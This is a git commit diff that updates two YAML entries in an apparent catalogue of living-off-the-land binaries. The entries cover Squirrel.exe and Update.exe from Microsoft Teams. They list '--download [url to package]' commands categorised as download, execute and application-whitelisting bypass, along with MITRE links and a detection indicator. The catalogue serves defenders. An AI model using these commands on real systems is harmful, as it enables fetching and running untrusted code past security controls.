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Adjusted Squirrel and Update

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This commit is contained in:
Oddvar Moe 2019-06-27 17:12:23 +02:00
parent eb46e1757b
commit 60f55ee597
2 changed files with 26 additions and 28 deletions
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38
yml/OtherMSBinaries/squirrel.yml
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Name: squirrel.exe Name: Squirrel.exe
Description: Binary to update the existing installed Nuget/squirrel package Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
Author: User Author: 'Reegun J (OCBC Bank) - @reegun21'
Created: Installed date Created: '2019-06-26'
Commands: Commands:
- Command: squirrel.exe --download [url to package] - Command: squirrel.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package. Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary Usecase: Download and execute binary
Category: Execute Category: Execute
Privileges: User Privilege Privileges: User
MitreID: T1218 MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/ MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows OS OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: squirrel.exe --download [url to package] - Command: squirrel.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package. Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary Usecase: Download and execute binary
Category: AWL Bypass Category: AWL Bypass
Privileges: User Privilege Privileges: User
MitreID: T1218 MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/ MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 10 OperatingSystem: Windows 10
- Command: squirrel.exe --download [url to package] - Command: squirrel.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package. Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary Usecase: Download and execute binary
Category: Download Category: Download
Privileges: User Privilege Privileges: User
MitreID: T1218 MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/ MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 10 OperatingSystem: Windows 7 and up with Microsoft Teams installed
Full_Path: Full_Path:
- Path: NA - Path: '%localappdata%\Microsoft\Teams\current\Squirrel.exe'
- Path: %localappdata%\Microsoft\Teams\current\Squirrel.exe
Code_Sample: Code_Sample:
- Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel - Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel
Detection: Detection:
- IOC: NA - IOC: Update.exe spawned an unknown process
- IOC: NA
Resources: Resources:
- Link: https://www.youtube.com/watch?v=rOP3hnkj7ls - Link: https://www.youtube.com/watch?v=rOP3hnkj7ls
- Link: https://twitter.com/reegun21/status/1144182772623269889 - Link: https://twitter.com/reegun21/status/1144182772623269889
- Link: NA - Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
Acknowledgement: Acknowledgement:
- Person: Reegun J (OCBC Bank) - Person: Reegun J (OCBC Bank)
Handle: @reegun21 Handle: '@reegun21'
- Person: NA - Person: Adam
Handle: NA Handle: '@Hexacorn'
--- ---

8
yml/OtherMSBinaries/update.yml
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--- ---
Name: Update.exe Name: Update.exe
Description: Binary to update the existing installed Nuget/squirrel package Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
Author: 'Oddvar Moe' Author: 'Oddvar Moe'
Created: '2019-06-26' Created: '2019-06-26'
Commands: Commands:
- Command: Update.exe --download [url to package] - Command: Update.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package. Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary Usecase: Download and execute binary
Category: Execute Category: Execute
Privileges: User Privileges: User
@ -13,7 +13,7 @@ Commands:
MitreLink: https://attack.mitre.org/techniques/T1218/ MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --download [url to package] - Command: Update.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package. Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary Usecase: Download and execute binary
Category: AWL Bypass Category: AWL Bypass
Privileges: User Privileges: User
@ -21,7 +21,7 @@ Commands:
MitreLink: https://attack.mitre.org/techniques/T1218/ MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --download [url to package] - Command: Update.exe --download [url to package]
Description: The above binary will go that particular location and look for RELEASES file and download the nuget package. Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download and execute binary Usecase: Download and execute binary
Category: Download Category: Download
Privileges: User Privileges: User